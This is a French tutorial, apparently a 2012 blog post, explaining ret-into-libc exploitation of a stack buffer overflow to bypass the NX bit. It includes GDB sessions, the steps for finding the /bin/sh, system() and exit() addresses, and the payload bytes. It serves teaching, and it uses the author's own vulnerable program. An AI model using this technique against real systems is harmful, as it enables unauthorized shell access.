# Author : Storn
# Website : http://pwn-network.com, http://bsoddigital.fr
# Date : 28/03/2012
# Thank's : fr0g (hwc-crew.com)
Pour la Bases des Stack Overflow : http://hwc-crew.com/index.php?id=45
Dans l’exploitation Basique de Buffer Overflow, on utilise un code binaire que l’on appelle aussi ShellCode qui est exécuté sur la Pile.
Hors il existe des protections qui empêche cette Pile d’être exécuter,
Le NX Bit pour les intimes (No eXecute).
Mais il y a des parades et les Ret-Into-Libc en font partie.
Qu’es que la Libc ou GLibc ?
GNU Library C ; Une Bibliothèque de fonctions pour les programme en C tout simplement.
Comme la Pile n’est pas exécutable, on va utiliser l’architecture du programme pour lui faire exécuter
Des fonctions contenues dans la Libc.
Pour être bref on se retrouve devant ce schéma .
Donc on va faire ce qui suit.
Comme vous l’aurez compris, une fois l’Overflow correctement effectuer, le registre EIP contiendra l’adresse de system() et pointera donc dessus, de ce fait, system() va prendre le contenu du premier Argument et l’exécuter (Arg1 = /bin/sh), une fois fait pour finir l’utilisation, l’exécution finira par un exit() qui terminera proprement sans segfaulté.
Maintenant, on va mettre les mains à la patte :D
On va prendre ce code vulnérable et le compiler.
On lance le programme vulnérable avec GDB.
1 2gdb vuln 3GNU gdb (GDB) 7.0.1-debian 4Copyright (C) 2009 Free Software Foundation, Inc. 5License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> 6This is free software: you are free to change and redistribute it. 7There is NO WARRANTY, to the extent permitted by law. Type "show copying" 8and "show warranty" for details. 9This GDB was configured as "i486-linux-gnu". 10For bug reporting instructions, please see: 11<http://www.gnu.org/software/gdb/bugs/>... 12Reading symbols from /home/vuln...done. 13(gdb)
On commence par chercher l’adresse de /bin/sh dans les variables d’environnement.
1 2(gdb) b main 3Breakpoint 1 at 0x80484b8 4(gdb) r 5Starting program: /home/vuln 6 7Breakpoint 1, 0x080484b8 in main () 8(gdb) x/1000s $esp 9[ … ] 100xbfffff7b: "LANG=fr_FR.UTF-8" 110xbfffff8c: "SHELL=/bin/sh" 120xbfffff9a: "PWD=/home/vuln" 130xbfffffdf: "LINES=24" 140xbfffffe8: "/home/vuln" 150xbffffffc: "" 160xbffffffd: "" 170xbffffffe: "" 180xbfffffff: ""---Type <return> to continue, or q <return> to quit---
On a cette ligne: 0xbfffff8c: "SHELL=/bin/sh".
Mais pour avoir que le /bin/sh il faut enlever le ‘SHELL=’ , donc 6 caractères.
0xbfffff8c +6 = 0xbfffff92
Notre /bin/sh se trouve à l’adresse 0xbfffff92
Pour notre exploitation il nous faut l’adresse en lifo :
\x92\xff\xff\xbf.
On continue en cherchant l’adresse de system().
System() est à cette adresse :
0xb7ecf180 donc \x80\xf1\xec\xb7.
Au tour de exit().
AIE ! Un NULL Byte 0xb7ec5300 (le 00) on prend donc ‘exit+4’ à l’adresse :
0xb7ec5304 qui nous donne \x04\x53\xec\xb7.
On a ce qu’il faut pour mener à bien notre exploitation en respectant notre plan qui est je rappel :
On exécute notre exploitation.
On obtient bien un Shell /bin/sh malgré la non-exécution de la pile.
St0rn